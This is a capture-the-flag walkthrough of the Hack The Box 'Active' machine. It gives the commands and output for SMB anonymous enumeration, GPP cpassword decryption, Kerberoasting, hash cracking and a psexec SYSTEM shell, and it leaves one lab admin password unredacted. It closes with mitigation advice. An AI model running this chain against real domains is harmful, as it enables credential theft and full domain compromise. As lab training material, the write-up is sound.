HackTheBox Active Walkthrough
Active is an Easy difficulty Windows machine from Hack The Box that serves as a great introduction to Active Directory attacks. The challenge highlights the risks of legacy configurations in domain environments. In this walkthrough, we start by enumerating SMB shares to discover a classic Group Policy Preferences (GPP) vulnerability. After retrieving credentials, we leverage Kerberoasting to escalate privileges and gain full control over the Domain Controller.
Hack The Box: Active
Reconnaissance:
We start by performing a comprehensive port scan using Nmap to identify open ports and running services.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
nmap -sV -sC -Pn -p- -T4 10.10.10.100
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-11-17 13:48:09Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open tcpwrapped
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
49167/tcp open msrpc Microsoft Windows RPC
49173/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-11-17T13:49:04
|_ start_date: 2025-11-17T13:44:45
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled and required
The Nmap output reveals typical ports for a Domain Controller (DNS:53, Kerberos:88, LDAP:389, SMB:445). The operating system appears to be Windows Server 2008 R2 SP1.
Enumeration
Given that port 445 (SMB) is open, we proceed to check for Null Session or Anonymous Access. We use nxc (NetExec) to test for empty credentials.
1
nxc smb 10.10.10.100 -u '' -p ''
Output:
1
2
SMB 10.10.10.100 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [+] active.htb\:
The [+] symbol indicates that anonymous login is allowed. Next, we list the available shares to see if we can access any sensitive files.
1
nxc smb 10.10.10.100 -u '' -p '' --shares
Output:
1
2
3
4
5
6
SMB 10.10.10.100 445 DC Share Permissions Remark
SMB 10.10.10.100 445 DC ----- ----------- ------
...
SMB 10.10.10.100 445 DC Replication READ
SMB 10.10.10.100 445 DC SYSVOL Logon server share
...
We noticed that the Replication share has READ permissions. This share often contains data replicated between Domain Controllers, including scripts and policy files.
Investigating the Replication Share
We connect to the Replication share using smbclient to explore its contents.
1
smbclient //10.10.10.100/Replication
After recursively exploring the directories, we navigated to the following path: active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\
1
2
3
4
5
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> ls
. D 0 Sat Jul 21 06:37:44 2018
.. D 0 Sat Jul 21 06:37:44 2018
Groups.xml A 533 Wed Jul 18 16:46:06 2018
We discovered a file named Groups.xml. This is a significant finding because older Group Policy Preferences (GPP) often stored credentials in these XML files. Although the passwords are encrypted (cpassword), the decryption key was accidentally released by Microsoft years ago, making them easily reversible.
After downloading the Groups.xml file found in the Replication share, we inspected its content. We discovered a user configuration entry for active.htb\SVC_TGS containing a cpassword attribute.
1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" ... cpassword="[REDACTED]" ... userName="active.htb\SVC_TGS"/>
</User>
</Groups>
Vulnerability Analysis: Group Policy Preferences (GPP)
After downloading the Groups.xml file found in the Replication share, we inspected its content. We discovered a user configuration entry for active.htb\SVC_TGS containing a cpassword attribute. XML
1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" ... cpassword="[REDACTED]" ... userName="active.htb\SVC_TGS"/>
</User>
</Groups>
The Vulnerability: Historically, Windows allowed administrators to set passwords via Group Policy Preferences (GPP). These passwords were stored in XML files in the SYSVOL share, encrypted with AES-256. However, Microsoft inadvertently published the static AES decryption key publicly. This means any user with read access to the SYSVOL (or Replication) share can decrypt these passwords.
Decrypting the Credentials
We utilized the gpp-decrypt tool to recover the plaintext password from the cpassword string.
1
gpp-decrypt [REDACTED]
Output:
1
Decrypted Password: [REDACTED]
So What we have?
We have successfully retrieved valid domain credentials:
1
2
3
4
5
Domain: active.htb
Username: SVC_TGS
Password: [REDACTED]
Privilege Escalation: Kerberoasting
Having obtained valid user credentials (active.htb\SVC_TGS), we are positioned to perform a Kerberoasting attack. This technique involves requesting Service Tickets (TGS) for service accounts that have a Service Principal Name (SPN) set. The TGS is encrypted with the service account’s NTLM hash, which allows us to attempt offline cracking.
We use impacket-GetUserSPNs to identify such accounts and request a ticket.
1
impacket-GetUserSPNs active.htb/SVC_TGS:[REDACTED] -dc-ip 10.10.10.100 -request
Output:
1
2
3
4
5
ServicePrincipalName Name MemberOf PasswordLastSet
-------------------- ------------- -------------------------------------------------------- --------------------------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 15:06:40.351723
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$1cc1ddcefe...[REDACTED]...
Surprisingly, the built-in Administrator account has an SPN associated with it. We successfully extracted the TGS hash.
Cracking the Ticket:
We save the hash to a file named hashes and use John the Ripper with the rockyou.txt wordlist to crack it.
1
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
Output:
1
2
[REDACTED] (?)
1g 0:00:00:04 DONE (2025-11-17 09:28) 0.2053g/s 2164Kp/s 2164Kc/s 2164KC/s
The password was cracked successfully:
1
2
3
User: Administrator
Password: [REDACTED]
Gaining System Access
With the Domain Administrator’s credentials in hand, we can now execute commands on the Domain Controller. We use impacket-psexec to spawn a remote shell.
1
impacket-psexec active.htb/administrator:'Ticketmaster1968'@10.10.10.100
Output:
1
2
3
4
5
6
7
8
9
[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file lkdEMqop.exe
...
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
C:\Windows\system32> whoami
nt authority\system
We have successfully compromised the Domain Controller and achieved nt authority\system privileges.
Lessons Learned & Mitigation
The ‘Active’ machine serves as a critical reminder of the dangers inherent in legacy Active Directory configurations. The attack path demonstrated how a simple misconfiguration, such as allowing anonymous SMB access, can trigger a chain reaction leading to full domain compromise. By exposing the Replication share, the system revealed the ‘Group Policy Preferences’ (GPP) vulnerability, where credentials stored in Groups.xml were easily decrypted using a publicly known key. Furthermore, the privilege escalation phase highlighted the risks of Kerberoasting, specifically when high-value accounts like the Administrator are configured with an SPN and a weak password. To secure an environment against these vectors, administrators must disable anonymous enumeration, apply patch KB2962486 to prevent GPP password storage (while scrubbing old XML files), and enforce robust password policies or use Managed Service Accounts (gMSA) for service identities.